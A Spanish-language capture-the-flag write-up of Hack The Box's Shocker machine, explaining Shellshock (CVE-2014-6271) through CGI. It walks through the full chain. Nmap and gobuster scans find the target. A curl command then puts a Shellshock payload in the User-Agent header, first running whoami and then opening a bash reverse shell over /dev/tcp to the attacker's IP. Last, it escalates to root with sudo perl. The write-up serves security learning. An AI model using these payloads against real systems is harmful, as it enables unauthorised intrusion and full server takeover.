Hackeando un Servidor Linux con una Cabecera HTTP: Explotación de Shellshock (CVE-2014–6271) en Shocker

Introducción

La vulnerabilidad Shellshock (CVE-2014–6271) afecta al intérprete de comandos GNU Bash, permitiendo la ejecución remota de comandos a través de variables de entorno manipuladas. Este fallo impacta principalmente a versiones de Bash anteriores a la 4.3 patch 25, ampliamente utilizadas en sistemas Linux en el momento de su descubrimiento.

El riesgo se vuelve crítico en entornos que utilizan CGI (Common Gateway Interface), un estándar que permite a servidores web como Apache ejecutar scripts del sistema para generar contenido dinámico. Durante este proceso, las cabeceras HTTP de una petición se convierten en variables de entorno que pueden ser interpretadas por Bash.

Si un script CGI está escrito en Bash y el sistema es vulnerable, un atacante puede inyectar comandos maliciosos en una cabecera HTTP y lograr ejecución remota de código sin autenticación, comprometiendo completamente el servidor, como se demuestra en la máquina Shocker.

¿Qué es CGI y por qué es importante?

CGI (Common Gateway Interface) es un estándar que permite a un servidor web ejecutar programas externos para generar contenido dinámico.

Flujo simplificado:

Cliente → Petición HTTP → Apache → Script CGI → Respuesta

Cuando Apache ejecuta un script CGI:

• Convierte cabeceras HTTP en variables de entorno
• Ejecuta el script
• Devuelve la salida al cliente

Ejemplo:

User-Agent: test (se convierte en) HTTP_USER_AGENT=test 

Si el script CGI está escrito en Bash: #!/bin/bash Entonces Bash procesará automáticamente esas variables.

Aquí es donde entra Shellshock.

Shellshock Cgi Attack

¿Qué ocurre internamente en Bash?

El bug en Bash permite definir funciones dentro de variables de entorno:

VAR=() { :; }; comando

El problema es que Bash no solo interpretaba la función, sino que también ejecutaba el comando adicional.

En un entorno web vulnerable:

1. El atacante envía un header HTTP malicioso
2. Apache lo convierte en variable de entorno
3. El script CGI ejecuta Bash
4. Bash interpreta la variable
5. El comando inyectado se ejecuta

Esto produce Remote Code Execution sin autenticación.

Hasta ahora todo ha sido teoría… dejémonos de palabrerías y vayamos a la práctica: cómo funciona Shellshock (CVE-2014–6271), cómo Bash interpreta variables de entorno y por qué CGI puede convertirse en nuestro peor enemigo.

Pero… ¿qué pasa cuando todo esto existe en un servidor real?

Es momento de llevar este conocimiento al campo de batalla.

Para ello utilizaremos la máquina Shocker de Hack The Box, que simula un servidor web vulnerable donde Apache ejecuta scripts CGI escritos en Bash. En este escenario, una simple petición HTTP podría convertirse en ejecución remota de comandos si se cumplen ciertas condiciones.

Fase de Reconocimiento con Nmap

A continuación, realizaremos una enumeración más profunda con Nmap.

en mi caso usare los siguientes comandos para hacer el escaneo un poco mas rapido:

nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.129.10.57

• -p- → Escanea los 65535 puertos.
• -sS → SYN Stealth Scan (escaneo sigiloso).
• --min-rate 5000 → Aumenta la velocidad del escaneo.
• --open → Muestra solo puertos abiertos.
• -vvv → Modo muy verbose.
• -n → No resuelve DNS.
• -Pn → Omite el descubrimiento de host.

Para posteriormente enumerar los servicios:

nmap -sC -sV -p22,2222 10.129.10.57

Resultados relevantes

• 22/tcp → Cerrado
• 2222/tcp → OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
• Sistema operativo: Linux

Esto confirma que:

• El servidor corre Linux.
• SSH está disponible en el puerto 2222.
• Tenemos un servicio web en el puerto 80 pendiente de análisis.

Directory Scanning

Ahora que sabemos que el servidor expone un servicio web en el puerto 80, el siguiente paso será realizar una búsqueda de directorios para identificar rutas ocultas que puedan ser de interés.

Para esta tarea utilizaremos Gobuster, una herramienta de escaneo de directorios escrita en Go que permite descubrir rutas y archivos ocultos dentro de un servidor web mediante el uso de diccionarios (wordlists).

Gobuster hace uso de listas de palabras disponibles por defecto en Kali Linux, las cuales se encuentran ubicadas en el siguiente directorio:

/usr/share/wordlists

En este caso utilizaremos wordlists provenientes de herramientas como Dirb y Dirbuster, aunque también es posible emplear listas más completas como las disponibles en SecLists para obtener resultados más exhaustivos.

gobuster dir -u 10.129.10.57 -w /usr/share/wordlists/dirb/common.txt

Resultados obtenidos

Durante el escaneo se identificaron los siguientes recursos:

• .hta → (403)
• .htpasswd → (403)
• .htaccess → (403)
• cgi-bin/ → (403)
• index.html → (200)
• server-status → (403)

Aunque el directorio /cgi-bin/ devuelve un código de estado 403 Forbidden, su sola existencia es extremadamente relevante para nuestro objetivo, para despues buscar en la ruta filtrando solo por Status 200

gobuster dir -u 10.129.10.57/cgi-bin -w /usr/share/wordlists/dirb/common.txt -x cgi,sh,pl,py -s 200 -b ""

Comprobando vulnerabilidad a Shellshock

Ahora que hemos identificado un script ejecutable dentro del directorio /cgi-bin/, procederemos a comprobar si el servidor es vulnerable a Shellshock (CVE-2014-6271).

Para ello utilizaremos el siguiente comando:

curl -s -X GET "http://10.129.10.57/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /usr/bin/whoami"

¿Qué estamos haciendo exactamente?

Estamos enviando una petición HTTP al script user.sh ubicado en /cgi-bin/, manipulando el header User-Agent para incluir un payload de Shellshock.

Desglose del comando:

• curl → Herramienta para realizar peticiones HTTP desde la terminal
• -s → Modo silencioso (no muestra progreso)
• -X GET → Especifica el método HTTP GET
• "http://10.129.10.57/cgi-bin/user.sh" → Recurso CGI que será ejecutado por el servidor
• -H → Permite modificar cabeceras HTTP

Payload:

() { :; }; echo; /usr/bin/whoami

• () { :; }; → Define una función vacía (necesaria para explotar el bug)
• echo; → Evita errores en la respuesta HTTP
• /usr/bin/whoami → Comando que queremos ejecutar en el sistema remoto

Como podemos ver ya estamos ejecutando comando, remotamente en el servidor.

Perfecto, no! 😈 ahora vamos a pasar de RCE a una reverse shell, y nos pondremos a la escucha por el puerto 1234.

curl -s -X GET "http://10.129.10.57/cgi-bin/user.sh" -H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/10.10.14.231/1234 0>&1"

nc -lvnp 1234 #en la maquina del atacante.

¿Qué pasó aquí?

En la parte superior vemos el payload de Shellshock enviado mediante curl:

curl -s -X GET "http://10.129.10.57/cgi-bin/user.sh" \
-H "User-Agent: () { :; }; echo; /bin/bash -i >& /dev/tcp/10.10.14.23/1234 0>&1"

Lo que hace ese payload:

• () { :; }; → Activa el bug de Shellshock
• /bin/bash -i → Inicia una shell interactiva
• >& /dev/tcp/10.10.14.23/1234 → Se conecta hacia la IP del atacante
• 0>&1 → Redirige entrada y salida para que la shell sea interactiva

La IP 10.10.14.23 es la máquina atacante. El puerto 1234 es donde estamos escuchando.

Parte inferior: el listener

Abajo vemos:

nc -lvnp 1234
Listening on 0.0.0.0 1234
Connection received on 10.129.10.57 56770

Esto significa que:

1. La víctima (10.129.10.57) ejecutó el payload.
2. Se inició una conexión saliente hacia nuestra máquina.
3. Netcat recibió la conexión.

La prueba definitiva

Después aparece:

bash: no job control in this shell
shelly@Shocker:/usr/lib/cgi-bin$

El mensaje “no job control in this shell” es normal en reverse shells básicas. Solo indica que no es una TTY completamente interactiva aún.

Tratamiento de la TTY

Cuando obtenemos una reverse shell, normalmente no es completamente interactiva:

• No funcionan bien Ctrl + C o Ctrl + L
• No hay autocompletado
• Editores como nano se ven mal
• Aparece: no job control in this shell

Para convertirla en una TTY funcional hacemos lo siguiente:

Verificar

tty

Si dice not a tty, continuamos.

Estabilizar

En la shell remota:

script /dev/null -c bash

Luego presionamos:

Ctrl + Z

En nuestra máquina atacante:

stty raw echo; fg

Y después:

reset xterm

Si es necesario:

export SHELL=bash
export TERM=xterm

Ajustar proporciones

En tu máquina local:

stty size

Ejemplo:

52 189

En la reverse shell:

stty rows 52 columns 189

Ahora tendrás una shell completamente funcional y lista para continuar con la post-explotación

ahora dentro de la maquina ejecutaremos sudo -l para ver los permisos del usuario y nos escontramos con lo siguiente que es facil de burlar con ayuda de shell scapes, para esto siempre ocupo un recurso, llamado GTOBINS

https://gtfobins.org/gtfobins/perl/#shell

aqui podemos ocupar cualquiera de los siguientes comandos para acceder a root.

sudo perl -e 'exec "/bin/bash";'
sudo perl -e 'exec "/bin/sh"'

Las vulnerabilidades críticas no siempre viven en aplicaciones modernas; a veces están en componentes básicos del sistema que damos por sentados.

Shocker no solo enseña cómo explotar Shellshock, sino también la importancia de:

• Enumerar correctamente.
• Entender la tecnología detrás del servicio.
• Encadenar condiciones hasta lograr RCE.
• Estabilizar correctamente la shell para continuar la post-explotación.

De la teoría a la práctica, de un header HTTP al control del sistema.

Y todo comenzó con una simple petición… amicoos.